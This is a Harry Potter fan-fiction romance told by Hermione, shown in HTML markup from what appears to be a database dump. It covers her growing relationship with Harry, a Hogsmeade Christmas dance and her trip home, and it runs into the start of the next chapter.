&quot;Yes it really is,&quot; I turned to see Harry staring only at me. Blushing, I started to relax my death grip from the broom. I shivered from the cold air, pressing back, leaning into Harry. He moved his arms up, hugging me tighter. Harry rested his head on my right shoulder, occasionally blowing in my ear. We hovered in the sky watching the stars twinkle and lights slowly go out in Hogwarts.</p>\n\n<p>	&quot;Thank you, I needed this very much.&quot; I nuzzled my head into his neck.</p>\n\n<p>	&quot;Your welcome. Did you know this is the first time I have ever done this?&quot; Harry guided us towards a lighted area.</p>\n\n<p>	&quot;I think you have done a lot of firsts with me lately.&quot; Harry smirked especially wide. &quot;Where did you get this wonderful idea?&quot;</p>\n\n<p>	&quot;My dad,&quot; he whispered into the air. &quot;He did this with mom for their 6 month anniversary.&quot; <i>How adorable!</i></p><i>\n\n</i><p>	&quot;Did you find that out from your mom&#8217;s journal?&quot; </p>\n\n<p>	&quot;That and the book from Remus. There are some great ideas I have been using on people.&quot; He commented cheerfully.</p>\n\n<p>	&quot;So that&#8217;s why all those girls have been swooning at your feet?&quot; I teased playfully at him.</p>\n\n<p>	&quot;Don&#8217;t worry I only save the best for you.&quot; He kissed my cheek, &quot;Look, it&#8217;s a shooting star. Close your eyes and make a wish.&quot; I quickly shut my eyes. <i>I wish Harry may be as happy as I am right now</i>. Reopening my eyes, I felt Harry smiling besides me. </p>\n\n<p>	&quot;Harry, you didn&#8217;t make a wish.&quot; I turned, curious at why he didn&#8217;t participate.</p>\n\n<p>	&quot;I don&#8217;t need too,&quot; he leaned in sweetly kissing my lips. <i>Oh we are unaware of what sweet miracles may come (Flavia).</i></p><i>\n\n</i><p>	Breaking away I murmured quietly, &quot;Harry what are we?&quot;</p>\n\n<p>	&quot;You are Nene and I am Harry.&quot; He replied like he was answering a child.</p>\n\n<p>	&quot;You know that is not what I meant.&quot; My tone changed into its usual serious voice.</p>\n\n<p>	&quot;But that&#8217;s what we are. You&#8217;re my Nene and I&#8217;m your Harry. It&#8217;s just us here. No one else can experience what we have.&quot; Harry snuggled his head into my neck.</p>\n\n<p>	I giggled from his hair. &quot;You can be the sweetest person when you want to be.&quot; I planted another kiss, and was tickled by his surprisingly unshaven face. <i>I wonder when he started growing facial hair?</i> &quot;We should get back. It&#8217;s past 10:30 and I&#8217;m sure your fan club is still waiting.&quot; Harry slowly landed us back onto the Quidditch field.</p>\n\n<p>	&quot;You have been collecting you own amount Nene.&quot; He reached for my school bag.</p>\n\n<p>	&quot;Are you jealous?&quot; I poked my finger against his shoulder. </p>\n\n<p>	&quot;No,&quot; I down casted my eyes away from him. &quot;They didn&#8217;t spend their one year anniversary with you.&quot; <i>Where did that come from?</i></p><i>\n\n</i><p>	&quot;What are you talking about?&quot; I asked perplexed at the date.</p>\n\n<p>	&quot;December 8, one year ago, I realized how beautiful you are.&quot; I blushed still not use to his sentimental comments.</p>\n\n<p>	&quot;Why, Mr. Potter, I do believe you are the most charming person in this world.&quot; I smiled timidly.</p>\n\n<p>	&quot;No I&#8217;m not,&quot; Harry stepped towards me. &quot;You are,&quot; again he kissed me, and the stars were not the only ones sparkling tonight.</p>\n\n<p>&nbsp;</p>\n\n<p>	</p>\n\n<p>	</p>\n\n<p>	&quot;So that settles how we shall arrange the Great Hall. Before we end this meeting, I just wanted to thank everyone for such hard work. Christmas is always the busiest time and everyone handled it amazingly. Try and relax these next weeks, but with finals I think that will be difficult.&quot; Angelina spoke clearly towards all the Prefects then sat down from the podium. Roger then stood for his final address.</p>\n\n<p>	&quot;I have finished your patrol schedules and you will be receiving them on Wednesday. This week you may all relax because the teachers are patrolling for us at night. Like Angelina said thank you for all your diligent participation. Enjoy your Christmas and good luck on your exams.&quot; He pounded the podium and our meeting ended for the year. </p>\n\n<p>.	&quot;Neville do you want to head back together to the Common Room?&quot; I asked him that while we both collected our things on the floor. He blushed and couldn&#8217;t hide a shy smile.</p>\n\n<p>	&quot;I&#8217;m actually meeting someone.&quot; He nervously stuttered out. <i>Oh I wonder who this person is? I</i>\n\n<i>bet its Ginny</i>. &quot;If you see Ginny, can you tell her I have her Herbology book?&quot; <i>Nevermind</i></p><i>\n\n</i><p>	&quot;Of course Neville,&quot; I smiled and watched him leave the room. Quickly I finished packing my things so I could review my last minute studying. <i>With one day left before exams, what else would I do?</i> Mentally arranging my study schedule, I didn&#8217;t notice someone call my name until I was tapped on the shoulder. I jumped from surprise and gave a small yelp. I heard a humorous chuckle at my shock.</p>\n\n<p>	&quot;Hello Hermione, sorry I scared you.&quot; Susan Bones said light heartily. Her blue eyes concentrated directly at me. I always admired that trait about her. I never saw her not make direct eye contact with anyone. Her usual wavy dark brown hair was braided into pigtails, flowing down her oval face. </p>\n\n<p>	&quot;It&#8217;s fine. You would think I would be use to it with Harry and Ron. Did you need something?&quot; We slowly started walking again.</p>\n\n<p>	&quot;Yes, I was wondering if you wanted to go over last minutes notes for Herbology?&quot; Susan asked very nicely.</p>\n\n<p>	&quot;When would you like together?&quot; I searched for my planner in my heavy bag.</p>\n\n<p>	&quot;How about tomorrow? I know you have Transfiguration last, so we can meet in the library afterwards.&quot; I smiled for her consideration of where my last class was near the library.</p>\n\n<p>	&quot;Great,&quot; I smiled cheerfully. &quot;I will see you tomorrow. Good luck on potions.&quot;</p>\n\n<p>	&quot;Thanks I need it,&quot; she gave a smile showing her rarely seen dimples. &quot;I would say the same but I&#8217;m positive you don&#8217;t need it.&quot; Susan then winked and left for her own Common Room. I continued walking and reached the tower in a record 3 minutes. Rushing towards the stairs, I ran into my room for books, notes, and quills. Then I changed into comfortable flannel pants and my dad&#8217;s old university sweater. I returned downstairs surrounded by studious students and nervous wrecks.</p>\n\n<p>	Ron sat with Dean and Seamus looking very disheveled. His usual combed hair flew in every direction but down. I smirked knowing that his procastation got the best of him again. At my usual spot, I found Ginny napping in front of the fire. The glows framed her angelic face and brighten her already red hair. <i>Should I wake her? She looks so peaceful and calm. Why not? She interrupted you last night with</i>\n\n<i>Harry</i>. Grinning evilly, I pinched her flushed cheeks arousing her from slumber. She screamed, startling some students, but too many were concentrating too hard to notice her.</p>\n\n<p>	&quot;Hermione, why did you do that?&quot; She whined rubbing her pink cheeks.</p>\n\n<p>	&quot;Well I&#8217;m sure you would like to be studying instead of napping.&quot; I said in a matter of fact tone. &quot;Also I just couldn&#8217;t resist the chance with you sleeping like that.&quot; Then I flopped besides her, dropping my supplies around me. </p>\n\n<p>	&quot;Next time you could just shake me.&quot; Ginny causally glanced around the room. &quot;Did Neville come back with you?&quot; She rubbed her eyes still a little groggily. </p>\n\n<p>	&quot;No, he said he was meeting someone. Also he has your book too.&quot; I started to read through my notes.</p>\n\n<p>	&quot;Okay, thanks for telling me,&quot; she picked her dropped book and continued to read as well. Then we settled in a comfortable silence and study for our exams. Rarely anyone spoke and if they did, they whispered quietly. Noises of quills scratching, page turning, and sighs were heard through the room. After two hours of complete and utter concentration, the peace was broken by none other then the Weasley Twins. They were carrying several large bags and awfully wide grins.</p>\n\n<p>	&quot;Good evening everyone,&quot; they enthusiastically greeted. Mumbles and mutters replied the overly giddy boys.</p>\n\n<p>	&quot;Aren&#8217;t they a chipper crowd Fred?&quot; George placed the paper bags down.</p>\n\n<p>	&quot;The happiest I have ever seen.&quot;</p>\n\n<p>	&quot;Fred, what are you two doing?&quot; A very weary Angelina asked.</p>\n\n<p>	&quot;We would like to present our latest invention.&quot; Fred smiled raising his eyebrows up and down.</p>\n\n<p>	&quot;That&#8217;s right Fred. Since you have all been studying so vigorously, we decided to spruce up the atmosphere.&quot; </p>\n\n<p>	&quot;George would you like to do the honors?&quot; Fred asked. George then lifted a plastic bottle containing orange liquid. &quot;We show you all the party mixer.&quot; Weak applause&#8217;s followed through the crowd.</p>\n\n<p>	&quot;Ronnikins, get up here,&quot; George shouted out.</p>\n\n<p>	&quot;No,&quot; Ron instantly said. &quot;I don&#8217;t trust what it does.&quot;</p>\n\n<p>	&quot;Just get up here, before we make you.&quot; Fred replied. Reluctantly, Ron approached with anxiety written clearly on his face. He looked to me for help but I could only give an apologetic smile. &quot;Drink up,&quot; they shoved the bottle into his mouth. Seconds later the once exhausted Ron seemed bouncier. He pulled Ginny up, refusing to let her sit down.</p>\n\n<p>	&quot;This is great. Try it everyone.&quot; Soon the students were in a carefree and goofy state. Laughter and giggles carried through the once quiet Common Room. </p>\n\n<p>	&quot;What did you two do to them?&quot; I asked moving away from an extra perky Lavendar.</p>\n\n<p>	&quot;Relax Mione, we just gave them a pepper-up potion mixed with our own special ingredient.&quot; Fred placed his arm around my shoulder. </p>\n\n<p>	&quot;We thought everyone needed to relax. Why don&#8217;t you take a sip?&quot; George held out the bottle.</p>\n\n<p>	&quot;No thank you, I will be upstairs studying, while you all stay and look like idiots.&quot; I stepped away from the hectic scene.</p>\n\n<p>	</p>\n\n<p>	&quot;You know, I think you&#8217;re the only sane Gryffindor left in this school.&quot; Harry chuckled entering into my studious domain. </p>\n\n<p>	&quot;I&#8217;m studying. If you want to have fun go downstairs.&quot; I didn&#8217;t even bother to look up.</p>\n\n<p>	&quot;I usually have different fun with you.&quot; Harry winked closing the door behind him. &quot;Nene, you need a break.&quot; <i>No I don&#8217;t</i>. &quot;You look like a mess.&quot; </p>\n\n<p>	&quot;Well then leave this ugly bookworm to herself.&quot; I snapped sitting up.</p>\n\n<p>	&quot;You know that&#8217;s not what I mean.&quot; He slowly moved towards my bed. &quot;What&#8217;s wrong? It&#8217;s not that time of the month is it?&quot;</p>\n\n<p>	&quot;Why do all males believe tempers associated with female biology?&quot; I threw my quill at his face. </p>\n\n<p>	&quot;Because I&#8217;ve only been here for 2 minutes and you have snapped at me since the moment I entered the room.&quot; Harry moved aside my books and sat beside me. &quot;Are you going to tell me the real reason?&quot;</p>\n\n<p>	I sighed, &quot;Harry it&#8217;s been 3 months. I&#8217;m going to be leaving on Saturday. I will never figure out what it means.&quot; I hugged my pillow tighter around me. &quot;I guess I feel like I&#8217;m not helping you when you need it.&quot; I turned away from his gaze.</p>\n\n<p>	&quot;Nene, you have always helped me. Like Remus said, it&#8217;s not the time but the accuracy.&quot; Harry grabbed me, pulling me down with him. &quot;Now what else is it? You&#8217;re biting your lower lip which means there is something else.&quot; He brushed my hair away from my face.</p>\n\n<p>	&quot;Well everyone 4th year and up are going to Hogsmeade on Friday night.&quot;</p>\n\n<p>	&quot;Of course they are, since a certain lovely Gryffindor planned it all.&quot; Harry wrapped me closer into his body.</p>\n\n<p>	&quot;Which also means Roger is going to be there. Harry&#8230;he asked if I could be his date on Friday.&quot; I received silence but I could feel all his muscles tighten at the name.</p>\n\n<p>	&quot;What did you say?&quot; <i>It&#8217;s Mr. Monotone again</i>.</p>\n\n<p>	&quot;I told him I&#8217;m too busy to think about that now. Also I wanted to,&quot; I paused to look him in the eyes. &quot;I wanted to see if you&#8230;we&#8230;are going.&quot; He gave a small smirk.</p>\n\n<p>	&quot;Of course we are Nene.&quot;</p>\n\n<p>	</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The next few days were extremely busy. From exams, to study groups, to even last minute Christmas details. I rarely had time with Harry or Ron. Since my discovery of their secret, I suddenly realized that how much time they were spending to train. Sometimes I would find them using glamour charms to hide their bruises. Though I couldn&#8217;t help them physically, I felt better knowing we didn&#8217;t have anymore secrets. </p>\n\n<p>	&quot;Are you ever going to stop reading?&quot; Ron shouted from behind me.</p>\n\n<p>	&quot;Are you ever going to stop talking about Quidditch?&quot; I challenged back. We then entered are usual staring contest waiting for one opponent to back off. My vision started to blur, while his eyes were watering. Being to tired from the weeks of studying, I broke away first.</p>\n\n<p>	&quot;Point Ron,&quot; he jumped over the couch to join me. I laughed seeing his uncombed hair.</p>\n\n<p>	&quot;Having a bad hair day Ron,&quot; I tousled his hair gaining a very evil glare.</p>\n\n<p>	&quot;You&#8217;re so funny. Wait&#8230;nope I&#8217;m not laughing.&quot; </p>\n\n<p>	&quot;Oh did I hurt poor Ronny&#8217;s feelings.&quot; I said in girlie baby voice.</p>\n\n<p>	&quot;Bookworm.&quot;</p>\n\n<p>	&quot;Carrot-head.&quot;</p>\n\n<p>	&quot;Will you two ever stop? We just finished our last exams. How do you still have energy to bicker?&quot; Harry flopped beside me on the couch.</p>\n\n<p>	&quot;She started it,&quot; Ron pointed to me. I stuck my tongue out receiving laughs from both of them.</p>\n\n<p>	&quot;Anyway I&#8217;m going to fly around the field before the feast. Who wants to join me?&quot; Harry stood in front of us smiling.</p>\n\n<p>	&quot;Sounds like a plan,&quot; Ron jumped up as well. Harry tugged my arms, pulling my body forward.</p>\n\n<p>	&quot;Actually I&#8217;m going to finish up some packing. I&#8217;ll meet you two in the Great Hall later.&quot; I head towards the staircase.</p>\n\n<p>	&quot;Catch you later Mione,&quot; Ron turned towards the portrait.</p>\n\n<p>	&quot;I guess we&#8217;ll see you later,&quot; Harry said disappointed. They left, while I skipped up the stairs. Reaching my room, I entered with a very wide smile. <i>I hope Harry likes this, because I rarely do it.</i>\n\n</p>\n\n<p>Finally after finishing my surprise, I arrived in front of the Great Hall. The feast had already started, making my entrance more dramatic. Taking in a deep breath, <i>I hope this goes well</i>. I pulled the door, entering into the cheerful noisy atmosphere. I didn&#8217;t create an awe of silence but I noticed a few heads turn. Searching for those sparkling green eyes, I found them staring start back at me. With my most graceful smile, I strolled towards him. He moved aside leaving me room to sit down. I received my usual greetings from around the table and started serving myself dinner. As everyone discussed about their own lives, I felt a slight brush against my hand. I looked to see Harry smile with charm oozing out of him.</p>\n\n<p>	Harry whispered, &quot;You know looking this beautiful is very distracting.&quot; <i>Mission complete</i>.</p>\n\n<p>	&quot;Good,&quot; I took a big bite from my dinner. I gave him a mischievous grin and he laughed out loud. </p>\n\n<p>	&quot;What&#8217;s so funny?&quot; Ron asked while reaching for more yams.</p>\n\n<p>	&quot;Nothing at all,&quot; I stated sweetly.</p>\n\n<p> Being overly giddy from dinner we staggered into Hogsmeade, not caring if we looked ridiculous. We entered into Three Broomsticks, which was already packed with students. The room was brightly lit with red and green trimmings. There were candles burning, mistletoes hanging, and wreathes placed on the halls. Some students were laughing wildly at each other&#8217;s antics, while others were caught up in all the excitement. After we sat down, there never was a quiet moment for the three of us. Though through all the mist of commotion, I felt Harry next to me.</p>\n\n<p>	By 9:30 the band was starting, and most of the younger students had returned to Hogwarts. The music was full of cheer and easily to dance too. Students began dancing to the beat and I watched them happily. I noticed many girls staring at my two friends, hoping to dance with them. They of course were oblivious of the fact. Even though I like to dance, I was content with just sharing my night with both of them. <i>But if Harry asked for a dance, I wouldn&#8217;t mind at all.</i>\n\n</p>\n\n<p>	&quot;Mione what do you think?&quot; Ron waited for my answer. <i>They were talking</i>.</p>\n\n<p>	&quot;I&#8217;m sorry. What did you ask?&quot; I focused back to their conversation. Harry laughed at Ron&#8217;s annoyed face while I smiled sheepishly. </p>\n\n<p>	&quot;I said, do you think George has a chance with Alicia?&quot; Ron said eagerly.</p>\n\n<p>	&quot;If he stops staring at Ann,&quot; I muttered to myself. Luckily no one heard and I answered innocently. &quot;Well it&#8217;s hard to say Ron. But whomever he likes, I&#8217;m sure you&#8217;ll meet her later. Besides Ron shouldn&#8217;t you be thinking of something else? Look at all these girls staring at you two.&quot; I winked devilishly at their anxious faces.</p>\n\n<p>	&quot;Don&#8217;t remind me. I don&#8217;t want to make a fool out of myself.&quot; Ron hit his forehead with remembrance. Harry shared the same feeling but chuckled at Ron&#8217;s angst expression.</p>\n\n<p>	&quot;At least we didn&#8217;t come on a date with those two again.&quot; Harry pointed towards the Patil Twins. We all laughed and continued drinking our butterbeers. Then I heard that familiar voice, I had expected sooner or later.</p>\n\n<p>	&quot;Hermione, would you like to dance?&quot; Roger appeared behind me. Ron and Harry both stiffened from the sudden intrusion. <i>Oh no, please don&#8217;t start another argument</i>.</p>\n\n<p>	&quot;I thought you were here with Cho?&quot; Ron quickly pointed out.</p>\n\n<p>	&quot;We only came as friends,&quot; Roger directed at Ron. &quot;What do you say?&quot; He extended his hand towards me. I glanced to see a strained Ron and blank stare from Harry. Neither gave any sign of his invitation, so I decided that I did want to dance.</p>\n\n<p>	&quot;All right,&quot; I carefully took his hand while he guided me on to the dance floor. The dark wooden area was fill with happy dancing couples and miscellaneous goofy students. Making our way through the crowd, we safely landed in the center of the dance floor. Roger properly placed one hand around my back while the other held my right hand. For a few minutes we twirled in silence when he finally broke the moment.</p>\n\n<p>	&quot;You look wonderful tonight. I&#8217;ve been waiting to tell you since you walked into the Great Hall.&quot; Roger smiled charmingly with his eyes solely on me.</p>\n\n<p>	&quot;Thank you,&quot; I moved my head back allowing my loosely curled hair to flow down my back.</p>\n\n<p>	&quot;I&#8217;m glad you decided to come alone even if you didn&#8217;t come with me.&quot; <i>I came with Harry</i>.</p>\n\n<p>	&quot;Actually,&quot; before I continued I glanced back to see Harry and Ron laughing with several Hufflepuff girls. I paused at the scene. <i>Did I actually come with Harry? The whole night was mainly spent</i>\n\n<i>with the company of others. He never directly acted like we were here together.</i>\n\n<i>Those girls are flirting so aggressively. Why is he not doing anything to stop it? Why didn&#8217;t he ask me to dance?</i></p><i>\n\n</i><p>	&quot;Hermione are you all right?&quot; Roger gently squeezed my hand, redirecting my attention to him.</p>\n\n<p>	Shaking my head I focused back to Roger, &quot;Yes I&#8217;m fine.&quot; He seemed unconvinced but he held back from asking. <i>Well if Harry and Ron could have their fun, why shouldn&#8217;t I?</i> &quot;So what are you doing this Christmas? I hear you are going to Spain.&quot; This set him off to chat lightly about his up coming vacation and kept me distracted from the obvious. We danced around the floor; occasionally exchanging partners with other friends and classmates. Frequently I would wonder back to see several girls giggle at big head 1 and big head 2\'s antics. For some unknown reason I had this pitiful feeling in my stomach. I felt it every time one of them would laugh or when some girl playfully hit them. The emotion was like an accordion squeezing back and forth. Except this music felt stabbing and stinging. I wanted it to be released but part of me knew I had no authority of that. </p>\n\n<p>	So I continued to dance with Roger, who seemed extra dashing tonight. The night went on, and soon many students retired to Hogwarts. Soon only older students and prefects were left in the tavern. Ginny, sadly, had to carry Ron, who once again had consumed too much butterbeer. Fellow Gryffindors mumbled laughs at the scene, but was staggering back as well. Roger had sweetly offered to wait for me to return to Hogwarts, but I declined, noticing his Ravenclaw friends eagerly wanting to collapse on their own beds. After final clean up arrangements, I saw only a few 7th year Prefects left in Hogsmeade. <i>I wonder where Harry</i>\n\n<i>went?</i> Waving my tired farewell to those left, I slowly strolled back to Hogwarts.</p>\n\n<p>	It was amazingly dark out, which seemed perfect with my mood. A crescent moon shined in the sky but was slightly shadowed by silver mists of clouds. I unclipped my hair, letting the full-length of it slide down, reaching my upper back. I felt a gust of cold wind blow by and I wrapped my dark red robe tighter around me. Rubbing my eyes from only the dim lights, I noticed gold glitter gleaming on my hand. I had absolutely forgotten about my makeup. <i>Yes I had actually applied makeup.</i> I sighed in defeat. <i>Fat lot that</i>\n\n<i>did me</i>. <i>At least I caught his attention in the beginning of the night. Oh Nene, did you actually think Harry</i>\n\n<i>would pick you out of everyone else in the world?</i> Wiping away a tear, I felt the lightness of my wrist. <i>Where did my bracelet go?</i> Panicking I glanced beside me hoping to see it. When I didn\'t find it, I quickly retraced my steps hoping for success. </p>\n\n<p>	After what felt like years, I found it underneath the wooden bench near the fountain. Picking it up, I realized I didn&#8217;t walk by this bench earlier. </p>\n\n<p>	&quot;I didn&#8217;t know you were that mad at me to lose your bracelet.&quot; I slowly turned to see Harry holding six yellow roses.</p>\n\n<p>	&quot;Well, I am,&quot; I sat down on the cold bench. He followed my action and sat besides me. &quot;I thought you left already.&quot; I fiddled with my bracelet, looking down towards my lap.</p>\n\n<p>	&quot;I couldn&#8217;t leave without you.&quot; He gently offered the bouquet of roses. I twisted away from him and stared at the midnight sky. &quot;Please don&#8217;t ignore me. I could never handle that from you.&quot; He moved closer and I felt the petals brush against my robe. Subdued I took the roses and their fresh cut scent reached my nose. Raising them to my nostrils, I could feel the soft silk bloom against my skin. &quot;So I am I forgiven?&quot; <i>Not yet</i>\n\n</p>\n\n<p>	&quot;Do you even know why I am mad?&quot; I shortly said looking directly in to his bright emerald eyes.</p>\n\n<p>	&quot;Because I didn&#8217;t dance with you, stay with you, or even just be there with you,&quot; he listed off like it was a matter of fact. <i>Hardly&#8230;</i></p><i>\n\n</i><p>	I rolled my eyes upward, &quot;Those are only superficial matters. I am mad because you treat us so casually. I mean one second we are just friends, the next you\'re Mr. Charming.&quot; Feeling frustrated, I glanced back towards the roses.</p>\n\n<p>	&quot;I know,&quot; he tried placing his hand over mine.</p>\n\n<p>	&quot;No, you don&#8217;t know.&quot; I flinched away from him warm touch. &quot;Harry, it&#8217;s confusing. I feel like it&#8217;s not real. How do I act around us anymore? I don&#8217;t know when you&#8217;re just Harry or my Harry. I mean what if us is nothing? You could have any girl you want. Why not choose someone you could be openly affectionate with?&quot; I sagged my shoulders and started to sniffle from the cold winter night. Instantly he wrapped his arms around me, and some how I still felt that familiar warmth. </p>\n\n<p>	&quot;Don&#8217;t say that. We are real. Us is more than something, it&#8217;s everything.&quot; Harry forcefully said squeezing me harder. I let his words tumble in my mind, listening to the quietness instead. I could still hear our heartbeats echoing in the air, and thoughts began to swirl in my head. <i>It&#8217;s everything. Are we really?</i> Slowly I placed the roses beside me and turned back, facing him. I searched in his eyes for doubt, anxiety, or even worry. But all I found was an unstable emotion that I had never seen before. <i>What are you feeling?</i> Before I could voice my thoughts, he crushed his lips on mine. All his thoughts and feelings were placed in this kiss. Unlike are other kisses this one was stronger, more pleading. He wanted to erase my doubt with just this kiss. And you know what, he succeed completely.</p>\n\n<p>	&quot;I&#8217;m,&quot; I automatically placed my hand over Harry&#8217;s mouth.</p>\n\n<p>	&quot;Not now, not tonight. Let&#8217;s just leave it for another day.&quot; I moved my hand caressing his cheek. </p>\n\n<p>	&quot;I&#8217;m going to miss you Nene.&quot; Harry pulled me closer and we spent the night just resting in each other&#8217;s embrace.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Merry Christmas Hermione, we&#8217;re going to miss you this year.&quot; Ginny gushed out, hugging me tightly.</p>\n\n<p>	&quot;I&#8217;m going to miss all of you too,&quot; I glanced around the Common Room with the Weasleys and Harry left.</p>\n\n<p>	&quot;Mione, remember not to open you gifts until Christmas,&quot; Ron ordered while giving me a crushing hug. I sadly said my farewells to everyone else and knowingly, was ready to leave.</p>\n\n<p>	&quot;Say hello to your parents for me,&quot; I smiled at the thought of the whole Weasley clan in Hogwarts.</p>\n\n<p>	&quot;We will,&quot; Charlie answered, noticing Ginny and Ron, who seemed too sad to reply. I waved my good-byes and Harry followed me out the room. We silently walked towards the train, lost in our own thoughts. After last night, we had shared little conversation this morning. I guess all the real thoughts were said last night. <i>But I was wondering, what he was thinking? Will he miss me? What will be of us when I</i>\n\n<i>return? Oh, how I didn&#8217;t want to leave us</i>. He placed my trunk on the train, and we quietly stood, hardly watching the people broad the train. The cold air blew by us causing my loose hair to hit my face. He chuckled at my annoyed expression. I looked towards the sky only to see gray clouds hovering above us. <i>What a gloomy day. I wonder if it is going to snow?</i></p><i>\n\n</i><p>	&quot;What are you thinking about?&quot; Harry asked with a puzzled expression at my sudden frown.</p>\n\n<p>	&quot;I was just wondering if it would snow. Doesn&#8217;t seem like Christmas if it didn&#8217;t.&quot; I glanced back from the sky to see a sad look. &quot;Are you okay?&quot; I whispered out, not knowing why. <i>He looks so distressed</i>.</p>\n\n<p>	&quot;I&#8217;m fine. I&#8217;m just going to miss you.&quot; He ran his hand through his untidy black hair.</p>\n\n<p>	&quot;I&#8217;m going to miss you too. But you&#8217;ll have the whole Weasley family with you. You will not be lonely.&quot; I reached up adjusting his Gryffindor scarf.</p>\n\n<p>	&quot;It won&#8217;t be the same without you though.&quot; He delicately took my left hand, revealing my bracelet. &quot;I&#8217;m happy to see you are still wearing it.&quot;</p>\n\n<p>	&quot;I would never think of taking it off.&quot; I reassured him, sensing his doubt from last night. Then I heard the whistle blow and I felt I still had million things to say. <i>Yet it was crazy of me to think so, I mean</i>\n\n<i>it was only two weeks</i>. <i>Then why do you feel like its forever?</i> &quot;I better get on before the train leaves without me.&quot; I feebly smiled at my own joke.</p>\n\n<p>	&quot;Yeah you wouldn&#8217;t want to do that.&quot; He stepped closer towards me. &quot;Have a wonderful Christmas with you parents. Tell them I say hello and wish the best.&quot; Harry still held my hand, tightening in his grip.</p>\n\n<p>	&quot;I will. Be good, and have a great Christmas as well.&quot; I heard the fateful cry of the last whistle rushing me on broad. &quot;Remember to say hi to all the Weasleys for me, even Percy. Also, I left everyone&#8217;s gifts in my room, so could you pass them out for me?&quot; We slowly reached the frame towards the entrance of the train.</p>\n\n<p>	&quot;Don&#8217;t worry.&quot; He forcefully answered. &quot;Get on the train Nene, before it does leave.&quot; Harry easily pushed me in the train. As I heard the engine gear and wheels turn, I leaned out looking at Harry. He had a bittersweet smile plastered across his face. <i>Oh I never thought he could look more handsome</i>. With all the skill of a seeker, he placed a modest kiss on my lips. Shocked by his sudden movement, I didn&#8217;t have time to respond. The train pushed onward and I didn&#8217;t hear Harry shout something important to me. But, of course, I would hear him say that to me another day, another time.</p>\n\n<p>	Like my usual train rides without Ron or Harry, I sat with Neville, Dean, and Seamus. They were great champs but they just were not Ron or Harry. I moved around speaking with various groups of people like Susan or other Prefects. Some younger students approached me, but they could be a tad to clingy for long conversations. The ever so nice Roger was interesting, but he seemed to busy in a heated discussion with his friends for past time enjoyment. Of course there was the misfortune of Malfoy and his gang. Luckily for me, they were running away from Pansy and Millicent to bother me at all. Finally though I did reach the compartment I had tried to find all day. Lightly knocking I heard the muffled voice of acknowledgment. Sliding the door open, I entered into the room to find a girl my age with strawberry blonde hair. She slightly arched her back while reading her favorite book Hogwarts: A history. After I sat down, she looked up with her baby blue eyes and smiled at my presence. Her lips were lightly pink from lip-gloss and showed her perfect white teeth. If I had been a boy, I would have been drooling at her existence.</p>\n\n<p>	&quot;Hello Hermione. Took you longer than usual. Caught up snogging our dear Headboy.&quot; She raised her eyebrow while looking extra smug at her comment.</p>\n\n<p>	&quot;Hello Blaise, and no I wasn&#8217;t snogging Roger. If you must know, your lovely roommates blocked up half the hallway.&quot; I spread across the seat not caring if I looked proper at the moment.</p>\n\n<p>	&quot;Ah, were the two lovely Slytherin princesses trying to win their prince?&quot; She asked with sarcasm dripping out of her voice.</p>\n\n<p>	&quot;Yes,&quot; I turned my head away from the ceiling. &quot;But enough about the prissy squad. I haven\'t seen you in two weeks. Tell me what are you doing this Christmas?&quot; I smiled sitting up again.</p>\n\n<p> 	Blaise gave a genuine laugh. &quot;Well, you have been busy with Roger,&quot; I gave her an evil glare. &quot;And I have been busy with doing the Slytherin\'s homework.&quot; I sighed in her complete ability to let people push her around and still seem uncaring. &quot;Anyway, I\'m spending it with father and his pleasant family.&quot; She briskly replied not at all pleased. &quot;But who cares about that. So give me the dirt on up-tight Davis. Is he actually like that all the time or is he feisty fellow I assume him to be?&quot; She managed to say all of this without even a wink or sign of amusement. Blaise could say the most blunt statement without blushing at her own comment.</p>\n\n<p>	&quot;You&#8217;re unbelievable.&quot; I shook my head leaning against the wall.</p>\n\n<p>	&quot;That&#8217;s why we&#8217;re friends. I&#8217;m unbelievable and you&#8217;re unpredictable.&quot;</p> '),
	(239, 13, ' <p>Disclaimer: Really they&#8217;re not mine. </p>\n\n<p>So before I start to say anything, I need to apologies to my beta reader Jenn a.k.a. Lady Raven. This amazing person always checks my grammar so you lovely people can make senses out of my writing. I forgot to do that last time so here&#8217;s an extra <b>BIG THANK YOU!!!</b>\n\n</p>\n\n<p>Well here it is. The beginning is a little slow, but I promise it gets better further on. I&#8217;m debating if I want to write a sequel to this. I might start something else but I have some other ideas where I could further develop this. Anyway I&#8217;ll see how I do with this one, then decide on the another one. Hope you all enjoy and I can&#8217;t wait to hear from you. Thanks for reading!</p>\n\n<b><p>The Middle of Understanding</p>\n\n</b><p>Chapter 12</p>\n\n<b><u><p>To Give and Receive</p>\n\n</u></b><p></p>\n\n<p>	Growing up, I always liked watching the snowfall from the sky. They seem to be invading into the world below without any struggle. Unlike rain that was so delicate at contact, snow was sturdy enough to stay intact. Those small droplets of frozen water could transfer into mountain of layers. The amazing thing was the color it choice to be. Why white? Why not red, blue, or green? Who decided that snow should be white? I like it though because only pure white snow could glimmer so serenely during a winter night.</p>\n\n<p>		Knock, Knock</p>\n\n<p>	&quot;Who is it?&quot; I called out from my windowsill.</p>\n\n<p>	&quot;It&#8217;s me.&quot; I heard my mom reply through the wooden door.</p>\n\n<p>	&quot;Come in, it&#8217;s unlocked.&quot; My head turned back towards the outside view, only seeing a speck of my mom&#8217;s shadow.</p>\n\n<p>	&quot;I didn&#8217;t disturb you did I?&quot; She stood besides me, stroking my naturally brown hair again. I felt my mom&#8217;s protruding lump brush against my shoulder.</p>\n\n<p>	&quot;Of course not, I was just thinking.&quot; I moved my legs so my mother could sit besides me. She pulled half my blanket and covered her lap as well. For several minutes we cuddled comfortably while my mom ran her fingers through my hair. <i>This is peaceful</i>.</p>\n\n<p>	Since my return from Hogwarts, I had rarely time alone to myself. I was bombarded with my parent&#8217;s friends and family activities. Also the late night chats with Winston and Dad kept me busy from doing much at night. Mom being pregnant for 8 months was strange and exciting all at once. Not being home all these months, I decided to handle most of the housework to lighten her workload. But I still left the midnight runs to dad. Even though I was happy to be home, part of me missed Hogwarts, my friends, and Harry.</p>\n\n<p>	&quot;What a crazy night? Why did I agree to it?&quot; My mom spoke, reminding me of her presence.</p>\n\n<p>	&quot;Well mainly you let the Jones sisters plan it. Because I quote, if you want to have a Christmas party, then you plan it. Let it be said that we shall never let that happen again.&quot; I teased my mom&#8217;s earlier comments.</p>\n\n<p>	&quot;When you&#8217;re pregnant, you say anything during lunch. But it was still nice to have everyone over for Christmas Eve. I think Winston appreciated having people to let lose with.&quot;</p>\n\n<p>	&quot;He needed 